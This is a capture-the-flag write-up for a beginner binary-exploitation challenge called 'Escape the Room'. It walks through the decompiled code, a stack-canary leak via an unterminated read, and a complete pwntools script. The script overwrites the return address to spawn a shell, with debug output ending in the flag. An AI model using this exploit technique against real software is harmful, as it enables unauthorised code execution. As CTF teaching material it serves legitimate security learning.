Tags: canary bufferoverflow pwn
Rating:
# Escape the Room
We were given a [binary](https://gr007.tech/writeups/2023/backdoor/beginner/escape_the_room/chal). It asks for a key and also lets us try for a second chance.
```sh
backdoor/beginner/escape_the_room on master [!?] via ? v3.11.6
❯ ./chal
Welcome to Escape the R00m !
You have only two chances to escape the room ...
Enter key : key
key
is not the key, try again !
Enter key : key
Wrong, go away !
```
The first input is a little suspicious. We can see that our input is being reflected. Maybe there is a format string vulnerability in the binary? Let's load it in ghidra.
```c
void escape(void)
{
puts("Sweet !");
system("/bin/sh");
return;
}
undefined8 main(void)
{
int iVar1;
time_t tVar2;
long in_FS_OFFSET;
char inp [32];
char rstr [40];
long canary;
canary = *(in_FS_OFFSET + 0x28);
tVar2 = time(0x0);
srand(tVar2);
rand_str(rstr,30);
puts("Welcome to Escape the R00m !");
puts("You have only two chances to escape the room ...");
printf("Enter key : ");
read(0,inp,80);
iVar1 = strncmp(rstr,inp,30);
if (iVar1 == 0) {
puts("That was a nice escape ... But there is more to it !");
}
else {
printf("%s is not the key, try again !\n",inp);
}
printf("Enter key : ");
__isoc99_scanf("%s",inp);
iVar1 = strncmp(rstr,inp,0x1e);
if (iVar1 == 0) {
puts("That was a nice escape ... But there is more to it !");
}
else {
puts("Wrong, go away !");
}
if (canary != *(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
```
As we can see from this code, even if we do generate the correct key using the strategy from the fruit_basket challenge to hack the seed, not only it does not give us shell nor does it leak any data. We can see that the buffer being read in the first try is 80. So, we can overflow our input buffer and overwrite our randomly generated string to be the same as our input. But making our guess right with an overflow does not help us either. Instead, if we make a wrong guess, we are given our input. We can see that the input is not being null terminated after being read. So, we can leak the canary by writing our buffer all the way up to our canary but also make the two strings that will be compared not equal. Because we want that leak. Then we will use the second input to overflow and write to the return address the address of our escape function.
Here is the python script for the solution:
```py
#!/usr/bin/env python
from pwn import ELF, ROP, context, log, p64, process, remote
context.log_level = "debug"
context.terminal = ["tmux", "split-window", "-h"]
elf = ELF("./chal")
# p = process(elf.path)
p = remote("34.70.212.151", 8005)
r = ROP(elf)
ret = r.find_gadget(["ret"])[0]
escape = elf.symbols["escape"]
# gdb.attach(
# p,
# """
# set follow-fork-mode child
# break 0x00401564
# continue
# """,
# )
payload = b"A" * 32
payload += b"B" * 40
p.sendlineafter(b"Enter key : ", payload)
p.recvline()
canary = b"\x00" + p.recvline().strip()[:7]
log.info(f"canary: {canary}")
payload = payload + canary + p64(ret) + p64(0x00401596)
p.sendlineafter(b"Enter key : ", payload)
# p.recv()
p.interactive()
```
> Note: I could not get the script to work if we wanted to return to escape function. But I ended up returning to just before the shell is being called with system function inside the escape function. Also note that I could do it because PIE was disabled and I could jump to any address directly.
```sh
backdoor/beginner/escape_the_room on master [!?] via ? v3.11.6
❯ ./sol.py
[*] '/home/groot/dev/gr007-40.github.io/docs/writeups/2023/backdoor/beginner/escape_the_room/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/groot/dev/gr007-40.github.io/docs/writeups/2023/backdoor/beginner/escape_the_room/chal' argv=[b'/home/groot/dev/gr007-40.github.io/docs/writeups/2023/backdoor/beginner/escape_the_room/chal'] : pid 142126
[*] Loaded 5 cached gadgets for './chal'
[DEBUG] Received 0x5a bytes:
b'Welcome to Escape the R00m !\n'
b'You have only two chances to escape the room ...\n'
b'Enter key : '
[DEBUG] Sent 0x49 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\n'
[DEBUG] Received 0x7a bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│
*
00000040 42 42 42 42 42 42 42 42 0a 36 4e c6 3d 16 d2 43 │BBBB│BBBB│·6N·│=··C│
00000050 01 20 69 73 20 6e 6f 74 20 74 68 65 20 6b 65 79 │· is│ not│ the│ key│
00000060 2c 20 74 72 79 20 61 67 61 69 6e 20 21 0a 45 6e │, tr│y ag│ain │!·En│
00000070 74 65 72 20 6b 65 79 20 3a 20 │ter │key │: │
0000007a
[*] canary: b'\x006N\xc6=\x16\xd2C'
[DEBUG] Sent 0x61 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│
*
00000040 42 42 42 42 42 42 42 42 00 36 4e c6 3d 16 d2 43 │BBBB│BBBB│·6N·│=··C│
00000050 1a 10 40 00 00 00 00 00 96 15 40 00 00 00 00 00 │··@·│····│··@·│····│
00000060 0a │·│
00000061
[*] Switching to interactive mode
[DEBUG] Received 0x11 bytes:
b'Wrong, go away !\n'
Wrong, go away !
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x16 bytes:
b'chal flag.txt\n'
chal flag.txt
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x3e bytes:
b'flag{unl0ck_y0ur_1m4gin4ti0ns_esc4p3_th3_r00m_0f_l1m1t4t10n5}\n'
flag{unl0ck_y0ur_1m4gin4ti0ns_esc4p3_th3_r00m_0f_l1m1t4t10n5}
```
flag: `flag{unl0ck_y0ur_1m4gin4ti0ns_esc4p3_th3_r00m_0f_l1m1t4t10n5}`